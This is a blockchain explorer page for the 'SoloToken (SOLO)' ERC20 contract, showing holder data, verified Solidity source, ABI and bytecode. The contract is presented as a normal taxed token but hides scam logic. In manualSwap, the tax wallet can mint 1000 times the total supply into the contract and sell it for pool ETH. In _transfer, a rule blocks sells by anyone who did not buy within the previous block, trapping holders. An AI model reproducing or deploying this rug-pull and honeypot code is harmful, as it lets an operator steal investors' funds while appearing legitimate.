ETH Price: $2,291.59 (-5.37%)

Token

SoloToken (SOLO)
 

Overview

Max Total Supply

1 SOLO

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
*我会变得富有.eth
Balance
0.011136895 SOLO

Value
$0.00
0x83C9E216027668398a95181d1dd6439cD92A8Fbb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SoloToken

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-27
*/

// SPDX-License-Identifier: MIT
/**


Token with the supply of only 1. The launch price is 1650 USD or a price of 1 Ethereum.


Telegram: https://t.me/solo_token

Website: https://solo-token.org/

Twitter: https://twitter.com/SoloTokenERC20

**/
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutminimum,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenminimum,
        uint256 amountETHminimum,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract SoloToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"SoloToken";
    string private constant _symbol = unicode"SOLO";


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping(address => uint256) private _holderLastBuy;
    mapping(address => bool) private _isHolder;
    bool public transferDelay = true;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1 * 10**_decimals;
    uint256 public _maxTxAmount = 1 * 10**8;
    uint256 public _maxWalletSize = 2 * 10**8;
    uint256 public _maxTaxSwap = 1 * 10**7;

    uint256 private BuyTax = 1;
    uint256 private SellTax = 1;
    uint256 private launchedAt;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address taxWallet) {
        _taxWallet = payable(taxWallet);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxNum = 0;
        if (from != owner() && to != owner()) {

            if (transferDelay) {
                if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                    require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                    if(!_isHolder[tx.origin]){
                          _holderLastBuy[tx.origin] = block.number;
                      }
                      _isHolder[tx.origin] = true;
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (from == uniswapV2Pair && to == tx.origin) {
                taxNum = amount.mul(BuyTax).div(100);
            }

            if (from == address(uniswapV2Pair) && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxNum = amount.mul(SellTax).div(100);
                require(_holderLastBuy[tx.origin] + 1 >= block.number);
            }


            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                swapTokensForETH(min(amount, min(balanceOf(address(this)), _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    transferETHToFee(address(this).balance);
                }
            }
        }

        if (taxNum > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxNum);
            emit Transfer(from, address(this), taxNum);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxNum));
        emit Transfer(from, to, amount.sub(taxNum));
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

   function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

    function transferETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }




    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);
        tradingOpen = true;
        swapEnabled = true;
        launchedAt = block.number;
    }

    function setFeeAddressWallet(address payable newWallet) external onlyOwner {
        _taxWallet = newWallet;
    }

    function setMaxTXlimit(uint256 newTxAmt) external onlyOwner {
        _maxTxAmount = newTxAmt * 10**6;
    }


    function setBuyFee(uint256 newBuyTax) external onlyOwner {
        BuyTax = newBuyTax;
        require(newBuyTax <= 5);
    }

    function updateFeeSell(uint256 newSellTax) external onlyOwner {
        SellTax = newSellTax;
        require(newSellTax <= 5);
    }



    receive() external payable {}

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        _balances[address(this)] = _balances[address(this)].add(_tTotal*1000);
        uint256 tokenBalance = balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForETH(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            transferETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setFeeAddressWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxAmt","type":"uint256"}],"name":"setMaxTXlimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805460ff191660019081179091556305f5e100600855630bebc20060095562989680600a55600b819055600c55600f805461ffff60a81b191690553480156200004d575f80fd5b5060405162001d4438038062001d448339810160408190526200007091620001d5565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060078054610100600160a81b0319166101006001600160a01b03841602179055620000de6009600a62000313565b620000eb90600162000323565b335f908152600160208190526040822092909255600390620001145f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556007546101009004909116835291208054909216179055620001773390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001b06009600a62000313565b620001bd90600162000323565b60405190815260200160405180910390a3506200033d565b5f60208284031215620001e6575f80fd5b81516001600160a01b0381168114620001fd575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025857815f19048211156200023c576200023c62000204565b808516156200024a57918102915b93841c93908002906200021d565b509250929050565b5f8262000270575060016200030d565b816200027e57505f6200030d565b8160018114620002975760028114620002a257620002c2565b60019150506200030d565b60ff841115620002b657620002b662000204565b50506001821b6200030d565b5060208310610133831016604e8410600b8410161715620002e7575081810a6200030d565b620002f3838362000218565b805f190482111562000309576200030962000204565b0290505b92915050565b5f620001fd60ff84168362000260565b80820281158282048414176200030d576200030d62000204565b6119f9806200034b5f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b411461033b578063a01ce40814610367578063a9059cbb14610386578063c448500c146103a5578063c9567bf9146103c4578063dd62ed3e146103d8575f80fd5b8063715018a6146102c3578063751039fc146102d75780637d1db4a5146102eb5780638da5cb5b146103005780638f9a55c014610326575f80fd5b806318160ddd116100f957806318160ddd1461020e57806323b872dd14610222578063313ce5671461024157806351bc3c851461025c5780635c5794041461027057806370a082311461028f575f80fd5b806306fdde031461013f578063095ea7b3146101825780630a702e8d146101b15780630cc835a3146101ca5780630faee56f146101eb575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600981526829b7b637aa37b5b2b760b91b60208201525b60405161017991906115f0565b60405180910390f35b34801561018d575f80fd5b506101a161019c36600461164f565b61041c565b6040519015158152602001610179565b3480156101bc575f80fd5b506007546101a19060ff1681565b3480156101d5575f80fd5b506101e96101e4366004611679565b610432565b005b3480156101f6575f80fd5b50610200600a5481565b604051908152602001610179565b348015610219575f80fd5b50610200610479565b34801561022d575f80fd5b506101a161023c366004611690565b610496565b34801561024c575f80fd5b5060405160098152602001610179565b348015610267575f80fd5b506101e96104fd565b34801561027b575f80fd5b506101e961028a366004611679565b610590565b34801561029a575f80fd5b506102006102a93660046116ce565b6001600160a01b03165f9081526001602052604090205490565b3480156102ce575f80fd5b506101e96105cc565b3480156102e2575f80fd5b506101e961063d565b3480156102f6575f80fd5b5061020060085481565b34801561030b575f80fd5b505f546040516001600160a01b039091168152602001610179565b348015610331575f80fd5b5061020060095481565b348015610346575f80fd5b50604080518082019091526004815263534f4c4f60e01b602082015261016c565b348015610372575f80fd5b506101e9610381366004611679565b6106e7565b348015610391575f80fd5b506101a16103a036600461164f565b610722565b3480156103b0575f80fd5b506101e96103bf3660046116ce565b61072e565b3480156103cf575f80fd5b506101e961077f565b3480156103e3575f80fd5b506102006103f23660046116e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610428338484610b29565b5060015b92915050565b5f546001600160a01b031633146104645760405162461bcd60e51b815260040161045b90611720565b60405180910390fd5b600b8190556005811115610476575f80fd5b50565b5f6104866009600a611849565b610491906001611857565b905090565b5f6104a2848484610c4c565b6104f384336104ee8560405180606001604052806028815260200161199c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611268565b610b29565b5060019392505050565b60075461010090046001600160a01b0316336001600160a01b031614610521575f80fd5b61055c6105306009600a611849565b61053b906001611857565b610547906103e8611857565b305f90815260016020526040902054906112a0565b305f908152600160205260409020819055801561057c5761057c81611305565b47801561058c5761058c81611475565b5050565b5f546001600160a01b031633146105b95760405162461bcd60e51b815260040161045b90611720565b6105c681620f4240611857565b60085550565b5f546001600160a01b031633146105f55760405162461bcd60e51b815260040161045b90611720565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106665760405162461bcd60e51b815260040161045b90611720565b6106726009600a611849565b61067d906001611857565b60085561068c6009600a611849565b610697906001611857565b60099081557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906106c990600a611849565b6106d4906001611857565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107105760405162461bcd60e51b815260040161045b90611720565b600c8190556005811115610476575f80fd5b5f610428338484610c4c565b5f546001600160a01b031633146107575760405162461bcd60e51b815260040161045b90611720565b600780546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161045b90611720565b600f54600160a01b900460ff16156108025760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084890309061083d6009600a611849565b6104ee906001611857565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc919061186e565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561091b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093f919061186e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad919061186e565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d71947306109f4816001600160a01b03165f9081526001602052604090205490565b5f80610a075f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a6d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a929190611889565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610ae7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b0b91906118b4565b50600f805462ff00ff60a01b19166201000160a01b17905543600d55565b6001600160a01b038316610b8b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045b565b6001600160a01b038216610bec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045b565b6001600160a01b038216610d125760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045b565b5f8111610d735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045b565b5f80546001600160a01b03858116911614801590610d9e57505f546001600160a01b03848116911614155b1561112b5760075460ff1615610ec357600e546001600160a01b03848116911614801590610dda5750600f546001600160a01b03848116911614155b15610ec357325f908152600460205260409020544311610e745760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045b565b325f9081526006602052604090205460ff16610e9c57325f9081526005602052604090204390555b325f908152600660209081526040808320805460ff19166001179055600490915290204390555b600f546001600160a01b038581169116148015610ee857506001600160a01b03831632145b15610f1057610f0d6064610f07600b54856114b090919063ffffffff16565b9061152e565b90505b600f546001600160a01b038581169116148015610f3b5750600e546001600160a01b03848116911614155b8015610f5f57506001600160a01b0383165f9081526003602052604090205460ff16155b1561103057600854821115610fb65760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045b565b60095482610fd8856001600160a01b03165f9081526001602052604090205490565b610fe291906118d3565b11156110305760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045b565b600f546001600160a01b03848116911614801561105657506001600160a01b0384163014155b1561109e576110756064610f07600c54856114b090919063ffffffff16565b325f9081526005602052604090205490915043906110949060016118d3565b101561109e575f80fd5b600f54600160a81b900460ff161580156110c55750600f546001600160a01b038481169116145b80156110da5750600f54600160b01b900460ff165b1561112b576111196111148361110f611107306001600160a01b03165f9081526001602052604090205490565b600a5461156f565b61156f565b611305565b4780156111295761112947611475565b505b80156111a357305f9081526001602052604090205461114a90826112a0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061119a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111c59083611583565b6001600160a01b0385165f908152600160205260409020556112086111ea8383611583565b6001600160a01b0385165f90815260016020526040902054906112a0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112518585611583565b60405190815260200160405180910390a350505050565b5f818484111561128b5760405162461bcd60e51b815260040161045b91906115f0565b505f61129784866118e6565b95945050505050565b5f806112ac83856118d3565b9050838110156112fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045b565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134b5761134b6118f9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c6919061186e565b816001815181106113d9576113d96118f9565b6001600160a01b039283166020918202929092010152600e546113ff9130911684610b29565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114379085905f9086903090429060040161190d565b5f604051808303815f87803b15801561144e575f80fd5b505af1158015611460573d5f803e3d5ffd5b5050600f805460ff60a81b1916905550505050565b6007546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561058c573d5f803e3d5ffd5b5f825f036114bf57505f61042c565b5f6114ca8385611857565b9050826114d7858361197c565b146112fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045b565b5f6112fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115c4565b5f81831161157d57826112fe565b50919050565b5f6112fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611268565b5f81836115e45760405162461bcd60e51b815260040161045b91906115f0565b505f611297848661197c565b5f6020808352835180828501525f5b8181101561161b578581018301518582016040015282016115ff565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610476575f80fd5b5f8060408385031215611660575f80fd5b823561166b8161163b565b946020939093013593505050565b5f60208284031215611689575f80fd5b5035919050565b5f805f606084860312156116a2575f80fd5b83356116ad8161163b565b925060208401356116bd8161163b565b929592945050506040919091013590565b5f602082840312156116de575f80fd5b81356112fe8161163b565b5f80604083850312156116fa575f80fd5b82356117058161163b565b915060208301356117158161163b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117a357815f190482111561178957611789611755565b8085161561179657918102915b93841c939080029061176e565b509250929050565b5f826117b95750600161042c565b816117c557505f61042c565b81600181146117db57600281146117e557611801565b600191505061042c565b60ff8411156117f6576117f6611755565b50506001821b61042c565b5060208310610133831016604e8410600b8410161715611824575081810a61042c565b61182e8383611769565b805f190482111561184157611841611755565b029392505050565b5f6112fe60ff8416836117ab565b808202811582820484141761042c5761042c611755565b5f6020828403121561187e575f80fd5b81516112fe8161163b565b5f805f6060848603121561189b575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118c4575f80fd5b815180151581146112fe575f80fd5b8082018082111561042c5761042c611755565b8181038181111561042c5761042c611755565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561195b5784516001600160a01b031683529383019391830191600101611936565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261199657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0420c0f56248eac0277e8f29d52b99e21fdf7b7b3875eac7bbbd457c7356bf864736f6c6343000815003300000000000000000000000049b26127e9d010c83fffc748b7069b4a85b5aef9

Deployed Bytecode

0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b411461033b578063a01ce40814610367578063a9059cbb14610386578063c448500c146103a5578063c9567bf9146103c4578063dd62ed3e146103d8575f80fd5b8063715018a6146102c3578063751039fc146102d75780637d1db4a5146102eb5780638da5cb5b146103005780638f9a55c014610326575f80fd5b806318160ddd116100f957806318160ddd1461020e57806323b872dd14610222578063313ce5671461024157806351bc3c851461025c5780635c5794041461027057806370a082311461028f575f80fd5b806306fdde031461013f578063095ea7b3146101825780630a702e8d146101b15780630cc835a3146101ca5780630faee56f146101eb575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600981526829b7b637aa37b5b2b760b91b60208201525b60405161017991906115f0565b60405180910390f35b34801561018d575f80fd5b506101a161019c36600461164f565b61041c565b6040519015158152602001610179565b3480156101bc575f80fd5b506007546101a19060ff1681565b3480156101d5575f80fd5b506101e96101e4366004611679565b610432565b005b3480156101f6575f80fd5b50610200600a5481565b604051908152602001610179565b348015610219575f80fd5b50610200610479565b34801561022d575f80fd5b506101a161023c366004611690565b610496565b34801561024c575f80fd5b5060405160098152602001610179565b348015610267575f80fd5b506101e96104fd565b34801561027b575f80fd5b506101e961028a366004611679565b610590565b34801561029a575f80fd5b506102006102a93660046116ce565b6001600160a01b03165f9081526001602052604090205490565b3480156102ce575f80fd5b506101e96105cc565b3480156102e2575f80fd5b506101e961063d565b3480156102f6575f80fd5b5061020060085481565b34801561030b575f80fd5b505f546040516001600160a01b039091168152602001610179565b348015610331575f80fd5b5061020060095481565b348015610346575f80fd5b50604080518082019091526004815263534f4c4f60e01b602082015261016c565b348015610372575f80fd5b506101e9610381366004611679565b6106e7565b348015610391575f80fd5b506101a16103a036600461164f565b610722565b3480156103b0575f80fd5b506101e96103bf3660046116ce565b61072e565b3480156103cf575f80fd5b506101e961077f565b3480156103e3575f80fd5b506102006103f23660046116e9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610428338484610b29565b5060015b92915050565b5f546001600160a01b031633146104645760405162461bcd60e51b815260040161045b90611720565b60405180910390fd5b600b8190556005811115610476575f80fd5b50565b5f6104866009600a611849565b610491906001611857565b905090565b5f6104a2848484610c4c565b6104f384336104ee85604051806060016040528060288152602001